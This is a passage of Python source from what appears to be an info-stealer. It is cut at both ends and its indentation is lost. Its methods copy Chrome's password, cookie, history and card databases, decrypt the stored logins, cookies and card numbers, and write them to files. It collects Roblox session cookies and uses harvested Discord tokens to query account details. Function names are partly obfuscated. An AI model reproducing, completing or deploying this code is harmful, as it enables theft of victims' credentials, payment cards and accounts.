login = self.cr34t3_f1lkes()
shutil.copy2(login_db, login)
conn = sqlite3.connect(login)
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = self.dcrpt_val(encrypted_password, self.chrome_key)
if url != "":
f.write(f"URL: {url}\nID: {username}\nPASSW0RD: {decrypted_password}\n\n")
cursor.close()
conn.close()
os.remove(login)
f.close()
@extract_try
def steal_cookies(self):
f = open(ntpath.join(self.dir, 'Google', 'Cookies.txt'), 'w', encoding="cp437", errors='ignore')
for prof in os.listdir(self.chrmmuserdtt):
if re.match(self.chrmrgx, prof):
login_db = ntpath.join(self.chrmmuserdtt, prof, 'Network', 'cookies')
login = self.cr34t3_f1lkes()
shutil.copy2(login_db, login)
conn = sqlite3.connect(login)
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, encrypted_value from cookies")
for r in cursor.fetchall():
host = r[0]
user = r[1]
decrypted_cookie = self.dcrpt_val(r[2], self.chrome_key)
if host != "":
f.write(f"{host} TRUE"+" "+ f"/FALSE 2597573456 {user} {decrypted_cookie}\n")
if '_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_' in decrypted_cookie:
self.robloxcookies.append(decrypted_cookie)
cursor.close()
conn.close()
os.remove(login)
f.close()
def steal_history2(self, name: str, path: str, profile: str):
path += '\\' + profile + '\\History'
if not os.path.isfile(path):
return
historyvault = self.random_dir_create()
copy2(path, historyvault)
conn = sqlite3.connect(historyvault)
cursor = conn.cursor()
with open(os.path.join(self.dir, "Browsers", "All History.txt"), 'a', encoding="utf-8") as f:
sites = []
for res in cursor.execute("SELECT url, title, visit_count, last_visit_time FROM urls").fetchall():
url, title, visit_count, last_visit_time = res
if url and title and visit_count and last_visit_time != "":
sites.append((url, title, visit_count, last_visit_time))
sites.sort(key=lambda x: x[3], reverse=True)
for site in sites:
f.write("Visit Count: {:<6} Title: {:<40}\n".format(site[2], site[1]))
cursor.close()
conn.close()
os.remove(historyvault)
def steal_cc2(self, name: str, path: str, profile: str):
path += '\\' + profile + '\\Web Data'
if not os.path.isfile(path):
return
credit_card_vault = self.random_dir_create()
copy2(path, credit_card_vault)
conn = sqlite3.connect(credit_card_vault)
cursor = conn.cursor()
with open(os.path.join(self.dir, "Browsers", "All Creditcards.txt"), 'a', encoding="utf-8") as f:
for res in cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards").fetchall():
name_on_card, expiration_month, expiration_year, card_number_encrypted = res
if name_on_card and card_number_encrypted != "":
f.write(
f"Name: {name_on_card} Expiration Month: {expiration_month} Expiration Year: {expiration_year} Card Number: {self.dcrpt_val(card_number_encrypted, self.masterkey)}\n")
f.close()
cursor.close()
conn.close()
os.remove(credit_card_vault)
@extract_try
def steal_history(self):
f = open(ntpath.join(self.dir, 'Google', 'History.txt'), 'w', encoding="cp437", errors='ignore')
def xtractwbhist(db_cursor):
web = ""
db_cursor.execute('SELECT title, url, last_visit_time FROM urls')
for item in db_cursor.fetchall():
web += f"Search Title: {item[0]}\nURL: {item[1]}\nLAST VISIT TIME: {self.cnverttim(item[2]).strftime('%Y/%m/%d - %H:%M:%S')}\n\n"
return web
def xtractwbs3rch(db_cursor):
db_cursor.execute('SELECT term FROM keyword_search_terms')
search_terms = ""
for item in db_cursor.fetchall():
if item[0] != "":
search_terms += f"{item[0]}\n"
return search_terms
for prof in os.listdir(self.chrmmuserdtt):
if re.match(self.chrmrgx, prof):
login_db = ntpath.join(self.chrmmuserdtt, prof, 'History')
login = self.cr34t3_f1lkes()
shutil.copy2(login_db, login)
conn = sqlite3.connect(login)
cursor = conn.cursor()
search_history = xtractwbs3rch(cursor)
web_history = xtractwbhist(cursor)
f.write(f"{' '*17}SEARCH\n{'-'*50}\n{search_history}\n{' '*17}\n\nLinks History\n{'-'*50}\n{web_history}")
cursor.close()
conn.close()
os.remove(login)
f.close()
def natify_matched_tokens(self):
f = open(self.dir + "\\Discord_Info.txt", "w", encoding="cp437", errors='ignore')
for token in self.tokens:
j = httpx.get(self.dscap1, headers=self.g3t_H(token)).json()
user = j.get('username') + '#' + str(j.get("discriminator"))
badges = ""
flags = j['flags']
if (flags == 1):
badges += "Staff, "
if (flags == 2):
badges += "Partner, "
if (flags == 4):
badges += "Hypesquad Event, "
if (flags == 8):
badges += "Green Bughunter, "